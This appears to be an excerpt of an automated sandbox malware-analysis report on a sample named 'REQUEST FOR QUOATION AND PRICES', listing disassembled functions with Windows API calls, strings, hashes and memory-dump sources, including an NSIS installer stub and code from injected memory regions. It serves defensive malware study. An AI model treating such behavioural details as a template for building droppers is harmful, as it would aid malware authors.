Opcode ID: 13b037cce4798db27e4eb95376808ce0ca73130a9742ab929508885024c9bfe2
Instruction ID: 35898149a38885f8c586e8e864d6c9f0670fdadbf00fc01cc161b9a618c06afd
Opcode Fuzzy Hash: 13b037cce4798db27e4eb95376808ce0ca73130a9742ab929508885024c9bfe2
Instruction Fuzzy Hash: 59F02020B64305ABF62032B94840B2F6AAAAFC4692F55003AF200CF240DED19C0703E2

Function 36DFAFA8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ae29f25194aab652d70cd23623f99adecc01a1959af6729f2a17fb6a4a67d58
Instruction ID: 3670968725628edcf7edfac42bc23c62ad920fd957775e2601aca52d296cb066
Opcode Fuzzy Hash: 6ae29f25194aab652d70cd23623f99adecc01a1959af6729f2a17fb6a4a67d58
Instruction Fuzzy Hash: 15F02720B183016BE32126795861B6F7ABAAFC4685F55403AE544CF285DFA19D0743E2

Function 36DFFEF8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2e1393244dee5f70735e0fb743ea0d46b77fa27fdc89104bfbdefd72fb25ad4
Instruction ID: cdf05fa26d422c756de270744325513c878e0a4c14ce168ff909094bab3c1efd
Opcode Fuzzy Hash: c2e1393244dee5f70735e0fb743ea0d46b77fa27fdc89104bfbdefd72fb25ad4
Instruction Fuzzy Hash: B4F06C3600414EBFCF039F90CD00CC97FB6EF0A258B4A9092FA488A532D336D9A4EB51

Function 36DFAA10 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 265e40de9353cc3aae190a0637974745befbe09e10a6bf55bb286d3b76fa6548
Instruction ID: 55359a42867cd0eb0fe7ad3c2443e570cfb90308ed28d589bace403d5ff6ef65
Opcode Fuzzy Hash: 265e40de9353cc3aae190a0637974745befbe09e10a6bf55bb286d3b76fa6548
Instruction Fuzzy Hash: 67D0C93255DBD04FD722873584959893FB05F5B214B1946EAD086CFAB3C5969906CB02

Function 36DFAB75 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35b71442939b6d34381d06dfbd1a964c3c4f47e2fe46d28880bc324c2e1d8a8a
Instruction ID: faa2ec78a96413ab5dd4b9e9671411ab8965a45badc6086984f46588e44253d1
Opcode Fuzzy Hash: 35b71442939b6d34381d06dfbd1a964c3c4f47e2fe46d28880bc324c2e1d8a8a
Instruction Fuzzy Hash: 2FD0A73250C7E04FD323833A7814599BFB58EC756070A49EFD0C9DB15695412D0EC7A7

Function 36DF70B8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0845a4e072c87591c4b0b1e734278ecb7900ed2b09660d2deb2aaf6d9f89d16c
Instruction ID: 883aa4bebb694eedc366f8189396b9c29dfda39e2254e7ec270f186ad91cd175
Opcode Fuzzy Hash: 0845a4e072c87591c4b0b1e734278ecb7900ed2b09660d2deb2aaf6d9f89d16c
Instruction Fuzzy Hash: 1DC08032754720475224525E7C44D8E9F658EC5661745CF3BF008DF1049D915D4F41DB

Function 36DF9828 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f2c883e3b726e8a5f4ad9ecbf0f4310f6a90774a05df05d5b41f33465be788b
Instruction ID: be527a007ce0e1befe9b24973ceff2e1a6dfa26634c61455117f0349a29ab115
Opcode Fuzzy Hash: 8f2c883e3b726e8a5f4ad9ecbf0f4310f6a90774a05df05d5b41f33465be788b
Instruction Fuzzy Hash: 5EC08C70410F098BF2042F54BC1CB39B3B8B707303FC42D10E20E028708BB94854C648

Function 36DF6F94 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28683c939ca9916be0358e3719cf3bca2fe9a18f1f7c66a3945e926afaf2ee03
Instruction ID: cd66823fc60fb43d22b79bb15ce87b48b1c80bbd5b3d1d82ff91a81c18377df7
Opcode Fuzzy Hash: 28683c939ca9916be0358e3719cf3bca2fe9a18f1f7c66a3945e926afaf2ee03
Instruction Fuzzy Hash: D9C08C302B4304CFF200AA5CC584B4537ECEF89B08F2018A1F4048F621CB62FC144A45

Non-executed Functions

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B28
GetDlgItem.USER32(?,00000408), ref: 00404B33
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B7D
LoadBitmapW.USER32(0000006E), ref: 00404B90
SetWindowLongW.USER32(?,000000FC,00405108), ref: 00404BA9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BBD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BCF
SendMessageW.USER32(?,00001109,00000002), ref: 00404BE5
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BF1
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C03
DeleteObject.GDI32(00000000), ref: 00404C06
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C31
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C3D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CD3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CFE
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D12
GetWindowLongW.USER32(?,000000F0), ref: 00404D41
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D4F
ShowWindow.USER32(?,00000005), ref: 00404D60
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E5D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EC2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ED7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EFB
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F1B
ImageList_Destroy.COMCTL32(?), ref: 00404F30
GlobalFree.KERNEL32(?), ref: 00404F40
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB9
SendMessageW.USER32(?,00001102,?,?), ref: 00405062
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405071
InvalidateRect.USER32(?,00000000,00000001), ref: 00405091
ShowWindow.USER32(?,00000000), ref: 004050DF
GetDlgItem.USER32(?,000003FE), ref: 004050EA
ShowWindow.USER32(00000000), ref: 004050F1

Strings

, xrefs: 004050C9
N, xrefs: 00404D9B
M, xrefs: 00404CBA

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: f5222cf6d3fcdeff0966a9eee7e30bd6d921d2d03bb49bae54bf4b748700a109
Instruction ID: d71a5cbf05b966a5fca8a5aa47d1df2e6c399d67ef135bcf6f64f468dd7cdb7f
Opcode Fuzzy Hash: f5222cf6d3fcdeff0966a9eee7e30bd6d921d2d03bb49bae54bf4b748700a109
Instruction Fuzzy Hash: 6E027FB0900209EFEB209F54DD85AAE7BB5FB84314F10857AF610BA2E0D7799D52CF58

Function 0040335A Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 335stringfilecomCOMMON

Download Yara Rule

APIs

#17.COMCTL32 ref: 00403379
SetErrorMode.KERNEL32(00008001), ref: 00403384
OleInitialize.OLE32(00000000), ref: 0040338B

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

SHGetFileInfoW.SHELL32(00420690,00000000,?,000002B4,00000000), ref: 004033B3

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

GetCommandLineW.KERNEL32(004281E0,NSIS Error), ref: 004033C8
GetModuleHandleW.KERNEL32(00000000,00434000,00000000), ref: 004033DB
CharNextW.USER32(00000000,00434000,00000020), ref: 00403402
GetTempPathW.KERNEL32(00000400,00436800,00000000,00000020), ref: 0040350B
GetWindowsDirectoryW.KERNEL32(00436800,000003FB), ref: 0040351C
lstrcatW.KERNEL32(00436800,\Temp), ref: 00403528
GetTempPathW.KERNEL32(000003FC,00436800,00436800,\Temp), ref: 0040353C
lstrcatW.KERNEL32(00436800,Low), ref: 00403544
SetEnvironmentVariableW.KERNEL32(TEMP,00436800,00436800,Low), ref: 00403555
SetEnvironmentVariableW.KERNEL32(TMP,00436800), ref: 0040355D
DeleteFileW.KERNEL32(00436000), ref: 00403571
OleUninitialize.OLE32(?), ref: 00403621
ExitProcess.KERNEL32 ref: 00403641
lstrcatW.KERNEL32(00436800,~nsu.tmp,00434000,00000000,?), ref: 0040364D
lstrcmpiW.KERNEL32(00436800,00435800,00436800,~nsu.tmp,00434000,00000000,?), ref: 00403659
CreateDirectoryW.KERNEL32(00436800,00000000), ref: 00403665
SetCurrentDirectoryW.KERNEL32(00436800), ref: 0040366C
DeleteFileW.KERNEL32(0041FE90,0041FE90,?,0042A000,?), ref: 004036C6
CopyFileW.KERNEL32(00437800,0041FE90,00000001), ref: 004036DA
CloseHandle.KERNEL32(00000000,0041FE90,0041FE90,?,0041FE90,00000000), ref: 00403707
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 0040375D
ExitWindowsEx.USER32(00000002,00000000), ref: 00403799
ExitProcess.KERNEL32 ref: 004037BC

Strings

TEMP, xrefs: 00403550
TMP, xrefs: 00403558
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040336D
~nsu.tmp, xrefs: 00403647
Low, xrefs: 0040353E
SeShutdownPrivilege, xrefs: 0040376F
\Temp, xrefs: 00403522
NSIS Error, xrefs: 004033B9
Error launching installer, xrefs: 004035D8

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-1875889550
Opcode ID: f59da56ce79cf3752257f316979aefb191ab981252506581a540253af1472897
Instruction ID: adac61535fb2ab45c93a94ea6b46826cba801cc8f349b6914fd9ce0ca4797ca8
Opcode Fuzzy Hash: f59da56ce79cf3752257f316979aefb191ab981252506581a540253af1472897
Instruction Fuzzy Hash: 72B1C170904211AAD720BF619D49A3B3EACEB4570AF40453FF542BA2E2D77C9941CB7E

Function 00405772 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00436800,771B2EE0,00434000), ref: 0040579B
lstrcatW.KERNEL32(004246D8,\*.*,004246D8,?,?,00436800,771B2EE0,00434000), ref: 004057E3
lstrcatW.KERNEL32(?,00409014,?,004246D8,?,?,00436800,771B2EE0,00434000), ref: 00405806
lstrlenW.KERNEL32(?,?,00409014,?,004246D8,?,?,00436800,771B2EE0,00434000), ref: 0040580C
FindFirstFileW.KERNEL32(004246D8,?,?,?,00409014,?,004246D8,?,?,00436800,771B2EE0,00434000), ref: 0040581C
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 004058BC
FindClose.KERNEL32(00000000), ref: 004058CB

Strings

\*.*, xrefs: 004057DD

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: f101a222198de3598bef61ef3d06d471c43b44ecc91151dca5712a762e0b7e66
Instruction ID: 64b0c8684543101156bed993c7ef625b5cb6937b92a1292c702a5556077473ca
Opcode Fuzzy Hash: f101a222198de3598bef61ef3d06d471c43b44ecc91151dca5712a762e0b7e66
Instruction Fuzzy Hash: 4341B031800914EADF217B619C89ABF7678EF45728F10817BF800B51D1D77C4992DE6E

Function 36DF8AD8 Relevance: 11.7, Strings: 9, Instructions: 461COMMON

Download Yara Rule

Strings

PHq, xrefs: 36DF9012
PHq, xrefs: 36DF8E11
PHq, xrefs: 36DF8E25
PHq, xrefs: 36DF910D
PHq, xrefs: 36DF8F09
PHq, xrefs: 36DF8FFE
PHq, xrefs: 36DF8F1D
PHq, xrefs: 36DF90F9
", xrefs: 36DF92AE

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID: "$PHq$PHq$PHq$PHq$PHq$PHq$PHq$PHq
API String ID: 0-4082700204
Opcode ID: beac64d6cdd0465a9169bf2f0fcbbe7277d532ef6a6ce5006603c53e992e236a
Instruction ID: 04e7425ff9aca1697b388117102e2617fb8533b038cf312be2d47d4b65a0ee67
Opcode Fuzzy Hash: beac64d6cdd0465a9169bf2f0fcbbe7277d532ef6a6ce5006603c53e992e236a
Instruction Fuzzy Hash: DB3290B4E10228CFEB64CF65C944B9DBBB2BF89304F2081A9D809AB351DB755E85CF11

Function 36DF8ACA Relevance: 11.6, Strings: 9, Instructions: 366COMMON

Download Yara Rule

Strings

PHq, xrefs: 36DF9012
PHq, xrefs: 36DF8E11
PHq, xrefs: 36DF8E25
PHq, xrefs: 36DF910D
PHq, xrefs: 36DF8F09
PHq, xrefs: 36DF8FFE
PHq, xrefs: 36DF8F1D
PHq, xrefs: 36DF90F9
", xrefs: 36DF92AE

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID: "$PHq$PHq$PHq$PHq$PHq$PHq$PHq$PHq
API String ID: 0-4082700204
Opcode ID: a3b057461e692f5cbad3c8ffe49aca1c173ffd9dba5232f9856b3243610e67de
Instruction ID: 47f997f5b8e82422d4ce38547cb5f9adb0c282e7d14f8ec3c9cf3dce6381e4d6
Opcode Fuzzy Hash: a3b057461e692f5cbad3c8ffe49aca1c173ffd9dba5232f9856b3243610e67de
Instruction Fuzzy Hash: F90290B4E012188FEB68CF65D954BDDBBB2BF89300F2081A9D849AB351DB755E85CF10

Function 0040653F Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction ID: edf170fb2c3714e597751af3e8fd03d842b3b080db723bf9ee749212abe0df6d
Opcode Fuzzy Hash: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction Fuzzy Hash: D3F17771D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A96CF44

Function 0040622D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00436800,00425720,00424ED8,00405A86,00424ED8,00424ED8,00000000,00424ED8,00424ED8,00436800,?,771B2EE0,00405792,?,00436800,771B2EE0), ref: 00406238
FindClose.KERNEL32(00000000), ref: 00406244

Strings

WB, xrefs: 0040622E

Memory Dump Source

Source File: 0000000A.00000002.2533024279.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2532989816.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533071298.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533102279.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.2533140893.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: WB
API String ID: 2295610775-2854515933
Opcode ID: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction ID: f398094869b5afba054f99dea52ba5834f85055b19877d8081192ff4b2f0d438
Opcode Fuzzy Hash: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction Fuzzy Hash: DAD012319480209BC21037387E0C85B7A59AB493307524AB7F82AF27E0C738AC6586AD

Function 36DF563F Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558154165.0000000036DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36df0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e17184e1391c577321e10f2960bd4780bf07146f97fbeee95a3a84246b4421d4
Instruction ID: e415bf2205c536f2ff55ba681201b1d0d45a69e67d5ae99c84b672f3c8f28acb
Opcode Fuzzy Hash: e17184e1391c577321e10f2960bd4780bf07146f97fbeee95a3a84246b4421d4
Instruction Fuzzy Hash: 11527974E01228CFEB65DF65C884BDDBBB2BB89301F1081EAD409AB255DB359E81CF50

Function 36DDCED8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15e3ca0deef9febb133374b6d5ec3b1f4144e35b3dcb716c649d0c3ce7cdde3f
Instruction ID: f0a80b5f90703001b0633a4e17784188a9b93ba317c7e6e2e2a4b4e2ea912d7d
Opcode Fuzzy Hash: 15e3ca0deef9febb133374b6d5ec3b1f4144e35b3dcb716c649d0c3ce7cdde3f
Instruction Fuzzy Hash: 8CC1AE74E00218CFEB24DFA5C994B9DBBB2BF89304F2081A9D409AB355DB359E85DF50

Function 36DDA4D0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a53c9ea4078e50dc623a216eae84b59248797e4733cfbb2418ce785bbbbb853
Instruction ID: 6de181f65082d57bacafc1b39ffac09da076a6cbfc54ad96993b957902589e32
Opcode Fuzzy Hash: 4a53c9ea4078e50dc623a216eae84b59248797e4733cfbb2418ce785bbbbb853
Instruction Fuzzy Hash: B3C19174E00218CFDB14DFA5C954B9DBBB2BF89300F2481A9D409AB355DB359E86DF50

Function 36DDE6F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d1bf563826e7b602223a5d86fb1967354d728efbb69011e0b36cb6e6e55ab07
Instruction ID: ab8a2c9ddb96e7b4de1590a54d904d2beaf266fa9be5937e8350feca451e1bb9
Opcode Fuzzy Hash: 1d1bf563826e7b602223a5d86fb1967354d728efbb69011e0b36cb6e6e55ab07
Instruction Fuzzy Hash: 1AC1AE74E01218CFEB24DFA5C894B9DBBB2BF89300F2081A9D409AB355DB359E85DF50

Function 36DDCA80 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60710cf92b8e3ea575fdcf44be42729a8a88f9cbcb2700e8227ee932782cddae
Instruction ID: 2dd548e5a5254b874c32d92c9b2096eb95c5ab930357459054bba465513dd817
Opcode Fuzzy Hash: 60710cf92b8e3ea575fdcf44be42729a8a88f9cbcb2700e8227ee932782cddae
Instruction Fuzzy Hash: 91C1A0B4E00218CFDB24DFA5C954B9DBBB2BF89300F6081A9D409AB355DB359E85DF50

Function 36DDF850 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19a65a69c6566cc023ea59f345e191745b60a6272746c2b789bc51460987b9a7
Instruction ID: c3294604d1bb92447512b71f6f236f34288ccbba891f08651002f56b5b1a6cd0
Opcode Fuzzy Hash: 19a65a69c6566cc023ea59f345e191745b60a6272746c2b789bc51460987b9a7
Instruction Fuzzy Hash: 27C19074E00218CFDB14DFA5C994B9DBBB2BF89300F6081A9D809AB355DB359E85DF50

Function 36DDA078 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33b9bf91d7db454c4e57a710fcc537c1f1fe005bfbfef743c0ccc2cf4d26099f
Instruction ID: ac433e94da72b83c152676f3d30a678214800d0c1925f5c31e63503264c2ae3e
Opcode Fuzzy Hash: 33b9bf91d7db454c4e57a710fcc537c1f1fe005bfbfef743c0ccc2cf4d26099f
Instruction Fuzzy Hash: CDC1B074E00218CFEB24DFA5C984B9DBBB2BF89300F2481A9D409AB355DB359E85DF50

Function 36DDC628 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e7bab9fff2acaacd1875d8b4e7b7407c7ee6ce63426ca2397d0d44ae72fac34
Instruction ID: c7fdcc62acfcf90aa96703fdb3dfa0be7be2e45bb58ac2046e88b7e395c61e14
Opcode Fuzzy Hash: 6e7bab9fff2acaacd1875d8b4e7b7407c7ee6ce63426ca2397d0d44ae72fac34
Instruction Fuzzy Hash: 9FC1A074E00258CFEB24DFA5C994B9DBBB2BF89300F2081A9D409AB355DB359E85DF50

Function 36DD9C20 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2558107577.0000000036DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_36dd0000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID:
String ID:
API String ID:
